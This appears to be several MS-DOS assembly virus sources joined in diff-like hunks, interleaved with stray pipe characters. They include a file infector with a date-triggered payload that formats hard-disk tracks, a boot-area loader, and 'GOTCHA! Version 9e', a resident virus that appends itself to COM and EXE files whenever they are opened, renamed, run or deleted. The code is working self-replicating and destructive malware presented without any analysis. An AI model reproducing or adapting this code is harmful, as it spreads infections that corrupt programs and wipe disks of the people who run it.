;* mov dx,offset loc_2 ;*
|
||||
db 0BAh, 1Ah, 02h
|
||||
int 21h ; DOS Services ah=function 25h
|
||||
; set intrpt vector al to ds:dx
|
||||
push cs
|
||||
pop ds
|
||||
loc_4::
|
||||
cmp cs:data_25[bp],5A4Dh
|
||||
je loc_5 ; Jump if equal
|
||||
mov bx,offset data_25
|
||||
add bx,bp
|
||||
mov ax,[bx]
|
||||
mov word ptr ds:[100h],ax
|
||||
add bx,2
|
||||
mov al,[bx]
|
||||
mov byte ptr ds:[102h],al
|
||||
pop ds
|
||||
pop es
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov ax,offset start
|
||||
push ax
|
||||
retn
|
||||
data_9 dw 0, 0 ; Data table (indexed access)
|
||||
data_11 dw 0, 0 ; Data table (indexed access)
|
||||
loc_5::
|
||||
mov bx,cs:data_33[bp]
|
||||
mov dx,cs
|
||||
sub dx,bx
|
||||
mov ax,dx
|
||||
add ax,cs:data_18[bp]
|
||||
add dx,cs:data_20[bp]
|
||||
mov bx,cs:data_17[bp]
|
||||
mov word ptr cs:[216h][bp],bx
|
||||
mov word ptr cs:[218h][bp],ax
|
||||
mov ax,cs:data_19[bp]
|
||||
mov word ptr cs:[20Ch][bp],dx
|
||||
mov word ptr cs:[212h][bp],ax
|
||||
pop ds
|
||||
pop es
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov ax,0
|
||||
cli ; Disable interrupts
|
||||
mov ss,ax
|
||||
mov sp,0
|
||||
sti ; Enable interrupts
|
||||
;* jmp far ptr loc_1 ;*
|
||||
sub_1 endp
|
||||
|
||||
db 0EAh, 00h, 00h, 00h, 00h
|
||||
;* No entry point to code
|
||||
push ax
|
||||
in al,60h ; port 60h, keybd scan or sw1
|
||||
cmp al,53h ; 'S'
|
||||
je loc_7 ; Jump if equal
|
||||
loc_6::
|
||||
pop ax
|
||||
jmp dword ptr cs:data_11
|
||||
loc_7::
|
||||
mov ah,2Ah
|
||||
int 21h ; DOS Services ah=function 2Ah
|
||||
; get date, cx=year, dh=month
|
||||
; dl=day, al=day-of-week 0=SUN
|
||||
cmp dl,18h
|
||||
jne loc_6 ; Jump if not equal
|
||||
mov ch,0
|
||||
|
||||
locloop_8::
|
||||
mov ah,5
|
||||
mov dh,0
|
||||
mov dl,80h
|
||||
int 13h ; Disk dl=drive 0 ah=func 05h
|
||||
; format track=ch or cylindr=cx
|
||||
; al=interleave, dh=head
|
||||
inc ch
|
||||
cmp ch,20h ; ' '
|
||||
loopnz locloop_8 ; Loop if zf=0, cx>0
|
||||
|
||||
;* jmp far ptr loc_31 ;*
|
||||
db 0EAh,0F0h,0FFh,0FFh,0FFh
|
||||
db 0CFh
|
||||
loc_9::
|
||||
pushf ; Push flags
|
||||
push cs
|
||||
call sub_2
|
||||
test al,al
|
||||
jnz loc_ret_12 ; Jump if not zero
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h
|
||||
int 21h ; DOS Services ah=function 51h
|
||||
; get active PSP segment in bx
|
||||
;* undocumented function
|
||||
mov es,bx
|
||||
cmp bx,es:data_1e
|
||||
jne loc_11 ; Jump if not equal
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2Fh
|
||||
int 21h ; DOS Services ah=function 2Fh
|
||||
; get DTA ptr into es:bx
|
||||
pop ax
|
||||
inc al
|
||||
jnz loc_10 ; Jump if not zero
|
||||
add bx,7
|
||||
loc_10::
|
||||
mov ax,es:[bx+17h]
|
||||
and ax,1Fh
|
||||
xor al,1Dh
|
||||
jnz loc_11 ; Jump if not zero
|
||||
and byte ptr es:[bx+17h],0E0h
|
||||
sub word ptr es:[bx+1Dh],3C3h
|
||||
sbb es:[bx+1Fh],ax
|
||||
loc_11::
|
||||
pop es
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
loc_ret_12::
|
||||
iret ; Interrupt return
|
||||
;* No entry point to code
|
||||
cmp ax,4B00h
|
||||
je loc_14 ; Jump if equal
|
||||
cmp ah,11h
|
||||
je loc_9 ; Jump if equal
|
||||
cmp ah,12h
|
||||
je loc_9 ; Jump if equal
|
||||
cmp ax,7BCDh
|
||||
jne loc_13 ; Jump if not equal
|
||||
jmp short loc_14
|
||||
db 90h
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_2 proc near
|
||||
loc_13::
|
||||
jmp dword ptr cs:data_9
|
||||
loc_14::
|
||||
and [bx+si],ah
|
||||
and [bx+si],ah
|
||||
and [bx+si],ah
|
||||
push es
|
||||
push ds
|
||||
cmp ax,7BCDh
|
||||
jne loc_15 ; Jump if not equal
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,4B7h
|
||||
jmp short loc_16
|
||||
db 90h
|
||||
loc_15::
|
||||
call sub_5
|
||||
jc loc_18 ; Jump if carry Set
|
||||
loc_16::
|
||||
mov ax,4300h
|
||||
int 21h ; DOS Services ah=function 43h
|
||||
; get attrb cx, filename @ds:dx
|
||||
jc loc_19 ; Jump if carry Set
|
||||
test cl,1
|
||||
jz loc_17 ; Jump if zero
|
||||
and cl,0FEh
|
||||
mov ax,4301h
|
||||
int 21h ; DOS Services ah=function 43h
|
||||
; set attrb cx, filename @ds:dx
|
||||
jc loc_19 ; Jump if carry Set
|
||||
loc_17::
|
||||
mov ax,3D02h
|
||||
int 21h ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
jc loc_19 ; Jump if carry Set
|
||||
mov bx,ax
|
||||
mov ax,5700h
|
||||
int 21h ; DOS Services ah=function 57h
|
||||
; get file date+time, bx=handle
|
||||
; returns cx=time, dx=time
|
||||
mov al,cl
|
||||
or cl,1Fh
|
||||
dec cx
|
||||
dec cx
|
||||
xor al,cl
|
||||
jz loc_19 ; Jump if zero
|
||||
push cs
|
||||
pop ds
|
||||
mov data_21,cx
|
||||
mov data_22,dx
|
||||
mov ah,3Fh ; '?'
|
||||
mov cx,20h
|
||||
mov dx,offset data_25
|
||||
int 21h ; DOS Services ah=function 3Fh
|
||||
; read file, bx=file handle
|
||||
; cx=bytes to ds:dx buffer
|
||||
jc loc_18 ; Jump if carry Set
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
jc loc_18 ; Jump if carry Set
|
||||
cmp cs:data_25,5A4Dh
|
||||
je loc_21 ; Jump if equal
|
||||
mov cx,ax
|
||||
sub cx,3
|
||||
mov cs:data_24,cx
|
||||
call sub_3
|
||||
jc loc_18 ; Jump if carry Set
|
||||
mov ah,40h ; '@'
|
||||
mov dx,offset data_23
|
||||
mov cx,3
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file bx=file handle
|
||||
; cx=bytes from ds:dx buffer
|
||||
loc_18::
|
||||
mov cx,cs:data_21
|
||||
mov dx,cs:data_22
|
||||
mov ax,5701h
|
||||
int 21h ; DOS Services ah=function 57h
|
||||
; set file date+time, bx=handle
|
||||
; cx=time, dx=time
|
||||
mov ah,3Eh
|
||||
int 21h ; DOS Services ah=function 3Eh
|
||||
; close file, bx=file handle
|
||||
loc_19::
|
||||
pop ds
|
||||
pop es
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
cmp ax,7BCDh
|
||||
jne loc_20 ; Jump if not equal
|
||||
mov bx,ax
|
||||
loc_20::
|
||||
jmp dword ptr cs:data_9
|
||||
loc_21::
|
||||
mov cx,cs:data_32
|
||||
mov cs:data_17,cx
|
||||
mov cx,cs:data_33
|
||||
mov cs:data_18,cx
|
||||
mov cx,cs:data_31
|
||||
mov cs:data_19,cx
|
||||
mov cx,cs:data_30
|
||||
mov cs:data_20,cx
|
||||
push ax
|
||||
push dx
|
||||
call sub_4
|
||||
sub dx,cs:data_29
|
||||
mov cs:data_33,dx
|
||||
mov cs:data_32,ax
|
||||
pop dx
|
||||
pop ax
|
||||
add ax,3C3h
|
||||
adc dx,0
|
||||
push ax
|
||||
push dx
|
||||
call sub_4
|
||||
sub dx,cs:data_29
|
||||
add ax,40h
|
||||
mov cs:data_30,dx
|
||||
mov cs:data_31,ax
|
||||
pop dx
|
||||
pop ax
|
||||
push bx
|
||||
push cx
|
||||
mov cl,7
|
||||
shl dx,cl ; Shift w/zeros fill
|
||||
mov bx,ax
|
||||
mov cl,9
|
||||
shr bx,cl ; Shift w/zeros fill
|
||||
add dx,bx
|
||||
and ax,1FFh
|
||||
jz loc_22 ; Jump if zero
|
||||
inc dx
|
||||
loc_22::
|
||||
pop cx
|
||||
pop bx
|
||||
mov cs:data_26,ax
|
||||
mov cs:data_27,dx
|
||||
call sub_3
|
||||
jc loc_23 ; Jump if carry Set
|
||||
mov ah,40h ; '@'
|
||||
mov dx,data_2e
|
||||
mov cx,20h
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file bx=file handle
|
||||
; cx=bytes from ds:dx buffer
|
||||
loc_23::
|
||||
jmp loc_18
|
||||
sub_2 endp
|
||||
|
||||
data_17 dw 0 ; Data table (indexed access)
|
||||
data_18 dw 0 ; Data table (indexed access)
|
||||
data_19 dw 0 ; Data table (indexed access)
|
||||
data_20 dw 0 ; Data table (indexed access)
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_3 proc near
|
||||
mov ah,40h ; '@'
|
||||
mov dx,103h
|
||||
mov cx,3C3h
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file bx=file handle
|
||||
; cx=bytes from ds:dx buffer
|
||||
jc loc_24 ; Jump if carry Set
|
||||
mov ax,4200h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
jc loc_24 ; Jump if carry Set
|
||||
clc ; Clear carry flag
|
||||
retn
|
||||
loc_24::
|
||||
stc ; Set carry flag
|
||||
retn
|
||||
sub_3 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_4 proc near
|
||||
push bx
|
||||
push cx
|
||||
mov cl,0Ch
|
||||
shl dx,cl ; Shift w/zeros fill
|
||||
mov bx,ax
|
||||
mov cl,4
|
||||
shr bx,cl ; Shift w/zeros fill
|
||||
add dx,bx
|
||||
and ax,0Fh
|
||||
pop cx
|
||||
pop bx
|
||||
retn
|
||||
sub_4 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_5 proc near
|
||||
push si
|
||||
push cx
|
||||
mov si,dx
|
||||
mov cx,128h
|
||||
|
||||
locloop_25::
|
||||
cmp byte ptr [si],2Eh ; '.'
|
||||
je loc_26 ; Jump if equal
|
||||
inc si
|
||||
loop locloop_25 ; Loop if cx > 0
|
||||
|
||||
loc_26::
|
||||
cmp word ptr [si-2],544Fh
|
||||
jne loc_27 ; Jump if not equal
|
||||
cmp word ptr [si-4],5250h
|
||||
je loc_30 ; Jump if equal
|
||||
loc_27::
|
||||
cmp word ptr [si-2],4E41h
|
||||
jne loc_28 ; Jump if not equal
|
||||
cmp word ptr [si-4],4353h
|
||||
je loc_30 ; Jump if equal
|
||||
loc_28::
|
||||
cmp word ptr [si-2],2041h
|
||||
jne loc_29 ; Jump if not equal
|
||||
cmp word ptr [si-4],454Ch
|
||||
je loc_30 ; Jump if equal
|
||||
loc_29::
|
||||
pop cx
|
||||
pop si
|
||||
clc ; Clear carry flag
|
||||
retn
|
||||
loc_30::
|
||||
pop cx
|
||||
pop si
|
||||
stc ; Set carry flag
|
||||
retn
|
||||
sub_5 endp
|
||||
|
||||
data_21 dw 0
|
||||
data_22 dw 0
|
||||
data_23 db 0E9h
|
||||
data_24 dw 9090h
|
||||
data_25 dw 0CD90h ; Data table (indexed access)
|
||||
data_26 dw 20h
|
||||
data_27 dw 0
|
||||
db 0, 0
|
||||
data_29 dw 0
|
||||
db 0, 0, 0, 0
|
||||
data_30 dw 0
|
||||
data_31 dw 0
|
||||
db 0, 0
|
||||
data_32 dw 0
|
||||
data_33 dw 0 ; Data table (indexed access)
|
||||
db 15 dup (0)
|
||||
copyright db '(c) 1992 by Igor Ratzkopf - All '
|
||||
db 'Rights Reserved July R'
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
@@ -0,0 +1,92 @@
|
||||
start segment
|
||||
assume cs:start,ds:start
|
||||
boot equ 1000h
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push es
|
||||
push ds
|
||||
push di
|
||||
push si
|
||||
call cim
|
||||
cim: pop bx
|
||||
mov si,5aa5h
|
||||
mov di,55aah
|
||||
push cs
|
||||
pop es
|
||||
ujra: add bx,1000
|
||||
cmp bx,1000
|
||||
jnc kilep1
|
||||
jmp kilep
|
||||
kilep1: push bx
|
||||
mov ax,201h
|
||||
mov dx,0
|
||||
mov cx,1
|
||||
int 13h
|
||||
pop bx
|
||||
jnc tovabb
|
||||
cmp ah,6
|
||||
jz kilep1
|
||||
jmp kilep
|
||||
tovabb: cmp si,0a55ah
|
||||
jz kilep
|
||||
mov ax,cs
|
||||
add ax,1000h
|
||||
push bx
|
||||
push ax
|
||||
int 12h
|
||||
mov bx,64
|
||||
mul bx
|
||||
sub ax,1000h
|
||||
mov bx,ax
|
||||
pop ax
|
||||
cmp bx,ax
|
||||
jnc oke1
|
||||
pop bx
|
||||
jmp kilep
|
||||
oke1: pop bx
|
||||
oke: mov es,ax
|
||||
mov ax,cs:[bx+18h]
|
||||
mov cx,cs:[bx+1ah]
|
||||
mul cx
|
||||
mov cx,ax
|
||||
mov ax,cs:[bx+13h]
|
||||
mov dx,0
|
||||
div cx
|
||||
sub bx,1000
|
||||
push bx
|
||||
mov ch,al
|
||||
mov cl,1
|
||||
mov bx,100h
|
||||
mov dx,0
|
||||
mov ax,208h
|
||||
int 13h
|
||||
pop bx
|
||||
jc kilep
|
||||
push bx
|
||||
mov bx,100h
|
||||
mov ax,es:[bx]
|
||||
cmp ax,2452h
|
||||
pop bx
|
||||
jnz kilep
|
||||
mov ax,bx
|
||||
add ax,offset kilep-offset cim
|
||||
push cs
|
||||
push ax
|
||||
mov ax,10ah
|
||||
push es
|
||||
push ax
|
||||
retf
|
||||
kilep: pop si
|
||||
pop di
|
||||
pop ds
|
||||
pop es
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
ret
|
||||
cime: dw 0
|
||||
start ends
|
||||
end
|
||||
@@ -0,0 +1,571 @@
|
||||
;****************************************************************************
|
||||
;* GOTCHA! Version 9e
|
||||
;****************************************************************************
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg,es:nothing
|
||||
|
||||
org 100h
|
||||
|
||||
SIGNLEN equ signend - signature
|
||||
FILELEN equ end - begin
|
||||
RESPAR equ (FILELEN/16) + 17
|
||||
VERSION equ 9
|
||||
BUFLEN equ 20h
|
||||
COMSIGN equ 0
|
||||
EXESIGN equ 1
|
||||
MINTARGET equ 1000
|
||||
MAXTARGET equ -FILELEN
|
||||
|
||||
.RADIX 16
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Start the program!
|
||||
;****************************************************************************
|
||||
|
||||
begin: xor bx,bx
|
||||
call install
|
||||
int 20
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Data
|
||||
;****************************************************************************
|
||||
|
||||
buffer db BUFLEN dup (?)
|
||||
oi21 dw ?,?
|
||||
oldlen dw ?,?
|
||||
nameptr dw ?,?
|
||||
handle dw ?
|
||||
comexe db ?
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* File-extensions
|
||||
;****************************************************************************
|
||||
|
||||
EXE_txt db 'EXE'
|
||||
COM_txt db 'COM'
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 24
|
||||
;****************************************************************************
|
||||
|
||||
ni24: mov al,03
|
||||
iret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 21
|
||||
;****************************************************************************
|
||||
|
||||
ni21: pushf
|
||||
|
||||
cmp ax,0DADAh ;install-check ?
|
||||
je do_DADA
|
||||
|
||||
push dx
|
||||
push cx
|
||||
push bx
|
||||
push ax
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
|
||||
cmp ax,6C00h ;open/create 4.00 ?
|
||||
je do_6C00
|
||||
cmp ah,56h ;rename ?
|
||||
je doit
|
||||
cmp ah,4Eh ;findfirst ?
|
||||
je doit ;(only works without wildcards)
|
||||
cmp ah,4Bh ;load / execute ?
|
||||
je doit
|
||||
cmp ah,43h ;attributes
|
||||
je doit
|
||||
cmp ah,41h ;delete ?
|
||||
je doit ;(it might be un-deleted!)
|
||||
cmp ah,3Dh ;open ?
|
||||
je do_3D
|
||||
|
||||
cmp ah,17h ;FCB-rename?
|
||||
je doFCB
|
||||
cmp ah,13h ;FCB-delete?
|
||||
jne exit
|
||||
|
||||
doFCB: call FCBtoASC ;COMMAND.COM still uses FCB's!
|
||||
|
||||
doit: call infect
|
||||
|
||||
exit: pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop ax
|
||||
pop bx
|
||||
pop cx
|
||||
pop dx
|
||||
popf
|
||||
|
||||
jmp dword ptr cs:[oi21] ;call to old int-handler
|
||||
|
||||
|
||||
do_3D: test al,03h ;only if opened for READING
|
||||
jne exit
|
||||
jmp short doit
|
||||
|
||||
do_6C00: test bl,03h ;idem
|
||||
jne exit
|
||||
mov dx,di ;ptr was DS:DI
|
||||
jmp short doit
|
||||
|
||||
do_DADA: mov ax,0A500h+VERSION ;return a signature
|
||||
popf
|
||||
iret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Old Interupt handler 21
|
||||
;****************************************************************************
|
||||
|
||||
org21: pushf
|
||||
call dword ptr cs:[oi21] ;call to old int-handler
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
|
||||
;****************************************************************************
|
||||
|
||||
infect: cld
|
||||
|
||||
mov cs:[nameptr],dx ;save the ptr to the filename
|
||||
mov cs:[nameptr+2],ds
|
||||
|
||||
mov ah,62h ;get segment-adres of PSP
|
||||
int 21
|
||||
mov ds,bx ;get seg-adres of environment
|
||||
mov ax,ds:002Ch
|
||||
mov ds,ax
|
||||
mov si,0
|
||||
|
||||
envloop: cmp ds:[si],byte ptr 0 ;end of environment?
|
||||
je verder7
|
||||
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset envstring
|
||||
mov bx,0
|
||||
|
||||
scloop: mov al,ds:[si] ;check the current env-item
|
||||
cmpsb
|
||||
je scv1
|
||||
inc bx ;characters don't match!
|
||||
scv1: cmp al,0 ;end of env-item?
|
||||
jne scloop
|
||||
|
||||
cmp bx,0 ;did all characters match?
|
||||
je return
|
||||
jmp short envloop
|
||||
|
||||
verder7: push cs ;check the filename
|
||||
pop ds
|
||||
les di,dword ptr [nameptr]
|
||||
mov dx,di
|
||||
mov cx,80 ;search end of filename (-EXT)
|
||||
mov al,'.'
|
||||
repnz scasb
|
||||
mov bx,di
|
||||
|
||||
std ;find begin of filename
|
||||
mov cl,11
|
||||
mov al,'\'
|
||||
repnz scasb
|
||||
cld
|
||||
je vvv
|
||||
mov di,dx
|
||||
jmp short vvv2
|
||||
vvv: add di,2
|
||||
vvv2: mov al,'V' ;is it V*.* ?
|
||||
scasb
|
||||
je return
|
||||
|
||||
mov cl,7 ;is it *AN*.* ?
|
||||
mov ax,'NA'
|
||||
ANloop: dec di
|
||||
scasw
|
||||
loopnz ANloop
|
||||
je return
|
||||
|
||||
mov si,offset EXE_txt ;is extension 'EXE'?
|
||||
mov di,bx
|
||||
mov cx,3
|
||||
rep cmpsb
|
||||
jnz verder4
|
||||
|
||||
mov byte ptr [comexe],EXESIGN
|
||||
jmp short verder3
|
||||
|
||||
return: ret
|
||||
|
||||
verder4: mov si,offset COM_txt ;is extension 'COM'?
|
||||
mov di,bx
|
||||
mov cx,3
|
||||
rep cmpsb
|
||||
jnz return
|
||||
|
||||
mov byte ptr [comexe],COMSIGN
|
||||
|
||||
verder3: mov ax,3300h ;get ctrl-break flag
|
||||
int 21
|
||||
push dx
|
||||
|
||||
xor dl,dl ;clear the flag
|
||||
mov ax,3301h
|
||||
int 21
|
||||
|
||||
mov ax,3524h ;get int24 vector
|
||||
int 21
|
||||
push bx
|
||||
push es
|
||||
|
||||
push cs ;set int24 vec to new handler
|
||||
pop ds
|
||||
mov dx,offset ni24
|
||||
mov ax,2524h
|
||||
int 21
|
||||
|
||||
lds dx,dword ptr [nameptr] ;get file-attribute
|
||||
mov ax,4300h
|
||||
call org21
|
||||
push cx
|
||||
|
||||
and cx,0F8h ;clear READ-ONLY-flag
|
||||
call setattr
|
||||
jc return1_v
|
||||
|
||||
push cs ;open the file
|
||||
pop ds
|
||||
lds dx,dword ptr [nameptr]
|
||||
mov ax,3D02h
|
||||
int 21
|
||||
jnc verder2
|
||||
return1_v: jmp return1 ;something went wrong... :-(
|
||||
|
||||
verder2: push cs ;save handle
|
||||
pop ds
|
||||
mov [handle],ax
|
||||
|
||||
mov bx,[handle] ;get file date & time
|
||||
mov ax,5700h
|
||||
int 21
|
||||
push cx
|
||||
push dx
|
||||
|
||||
call endptr ;get file-length
|
||||
mov [oldlen],ax
|
||||
mov [oldlen+2],dx
|
||||
|
||||
sub ax,SIGNLEN ;move ptr to end - SIGNLEN
|
||||
sbb dx,0
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
mov al,00h
|
||||
call ptrmov
|
||||
|
||||
mov cx,SIGNLEN ;read the last bytes
|
||||
mov dx,offset buffer
|
||||
call flread
|
||||
jc return2_v
|
||||
|
||||
push cs ;compare bytes with signature
|
||||
pop es
|
||||
mov di,offset buffer
|
||||
mov si,offset signature
|
||||
mov cx,SIGNLEN
|
||||
rep cmpsb
|
||||
jz return2_v
|
||||
|
||||
call beginptr ;read begin of file
|
||||
mov cx,BUFLEN
|
||||
mov dx,offset buffer
|
||||
call flread
|
||||
|
||||
cmp byte ptr [comexe],EXESIGN
|
||||
jz do_exe
|
||||
|
||||
do_com: cmp word ptr [oldlen],MAXTARGET ;check length of file
|
||||
jnb return2
|
||||
cmp word ptr [oldlen],MINTARGET
|
||||
jbe return2
|
||||
|
||||
call writeprog ;write program to end of file
|
||||
jc return2
|
||||
|
||||
mov ax,[oldlen] ;calculate new start-adres
|
||||
add ax,(offset entry - 0103h)
|
||||
mov byte ptr [buffer],0E9h ;'JMP'
|
||||
mov word ptr [buffer+1],ax
|
||||
|
||||
jmp short verder1
|
||||
|
||||
return2_v: jmp short return2
|
||||
|
||||
|
||||
do_exe: call writeprog ;write program to end of file
|
||||
jc return2
|
||||
|
||||
mov ax,[oldlen] ;calculate new length
|
||||
mov dx,[oldlen+2]
|
||||
add ax,FILELEN
|
||||
adc dx,0
|
||||
|
||||
mov cl,9 ;put new length in header
|
||||
shr ax,cl
|
||||
mov cl,7
|
||||
shl dx,cl
|
||||
or ax,dx
|
||||
inc ax
|
||||
mov word ptr [buffer+4],ax
|
||||
mov ax,[oldlen]
|
||||
add ax,FILELEN
|
||||
and ax,01FFh
|
||||
mov word ptr [buffer+2],ax
|
||||
|
||||
mov ax,[oldlen] ;calculate new CS & IP
|
||||
mov dx,[oldlen+2]
|
||||
mov bx,word ptr [buffer+8]
|
||||
push ax
|
||||
mov cl,4
|
||||
shr ax,cl
|
||||
mov cl,0Ch
|
||||
shl dx,cl
|
||||
add ax,dx
|
||||
sub ax,bx
|
||||
mov word ptr [buffer+16h],ax ;put CS in header
|
||||
pop ax
|
||||
and ax,000Fh
|
||||
add ax,(offset entry - 0100h)
|
||||
mov word ptr [buffer+14h],ax ;put IP in header
|
||||
|
||||
verder1: call beginptr ;write new begin of file
|
||||
mov cx,BUFLEN
|
||||
mov dx,offset buffer
|
||||
call flwrite
|
||||
|
||||
return2: mov bx,[handle] ;restore file date & time
|
||||
pop dx
|
||||
pop cx
|
||||
mov ax,5701h
|
||||
int 21
|
||||
|
||||
mov bx,[handle] ;close the file
|
||||
mov ah,3Eh
|
||||
int 21
|
||||
|
||||
return1: pop cx ;restore file-attribute
|
||||
call setattr
|
||||
|
||||
pop ds ;restore int24 vector
|
||||
pop dx
|
||||
mov ax,2524h
|
||||
int 21
|
||||
|
||||
pop dx ;restore ctrl-break flag
|
||||
mov ax,3301h
|
||||
int 21
|
||||
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Gets ASCIIZ-filename from FCB
|
||||
;****************************************************************************
|
||||
|
||||
FCBtoASC: mov si,dx
|
||||
lodsb
|
||||
inc al ;extended FCB?
|
||||
jne normal_FCB
|
||||
add si,7
|
||||
normal_FCB: push cs
|
||||
pop es
|
||||
xor di,di ;adres for ASCIIZ-name
|
||||
mov dx,di
|
||||
mov cx,8
|
||||
FCB_loop: lodsb ;copy all except spaces
|
||||
cmp al,' '
|
||||
je FCB_verder
|
||||
stosb
|
||||
FCB_verder: loop FCB_loop
|
||||
mov al,'.' ;append a '.'
|
||||
stosb
|
||||
mov cl,3 ;and the extension
|
||||
rep movsb
|
||||
xchg ax,cx ;and a final zero.
|
||||
stosb
|
||||
push es
|
||||
pop ds
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Changes file-attributes
|
||||
;****************************************************************************
|
||||
|
||||
setattr: lds dx,dword ptr cs:[nameptr]
|
||||
mov ax,4301h
|
||||
call org21
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Writes program to end of file
|
||||
;****************************************************************************
|
||||
|
||||
writeprog: call endptr
|
||||
mov cx,FILELEN
|
||||
mov dx,offset begin
|
||||
; call flwrite ;Hmm, save a few bytes!
|
||||
; ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Subroutines for reading/writing
|
||||
;****************************************************************************
|
||||
|
||||
flwrite: mov ah,40h
|
||||
jmp short flvrdr
|
||||
|
||||
flread: mov ah,3Fh
|
||||
flvrdr: push cs
|
||||
pop ds
|
||||
mov bx,cs:[handle]
|
||||
int 21
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Subroutines for file-pointer
|
||||
;****************************************************************************
|
||||
|
||||
beginptr: mov al,00h ;go to begin of file
|
||||
jmp short ptrvrdr
|
||||
|
||||
endptr: mov al,02h ;go to end of file
|
||||
ptrvrdr: xor cx,cx
|
||||
xor dx,dx
|
||||
|
||||
ptrmov: mov bx,cs:[handle] ;go somewhere
|
||||
mov ah,42h
|
||||
int 21
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* This is where infected files start
|
||||
;****************************************************************************
|
||||
|
||||
entry: call entry2
|
||||
entry2: pop bx
|
||||
sub bx,offset entry2 ;CS:BX is begin program - 100h
|
||||
|
||||
pushf
|
||||
cld
|
||||
|
||||
cmp byte ptr cs:[bx+offset comexe],COMSIGN
|
||||
jz entryC
|
||||
|
||||
entryE: mov ax,ds ;put old start-adres on stack
|
||||
add ax,10
|
||||
add ax,cs:[bx+offset buffer+016h]
|
||||
push ax
|
||||
push cs:[bx+offset buffer+014h]
|
||||
|
||||
jmp short entcheck
|
||||
|
||||
entryC: mov ax,bx ;restore old file-begin
|
||||
add ax,offset buffer
|
||||
mov si,ax
|
||||
mov di,0100
|
||||
mov cx,BUFLEN
|
||||
rep movsb
|
||||
|
||||
push cs ;put old start-adres on stack
|
||||
mov ax,0100h
|
||||
push ax
|
||||
|
||||
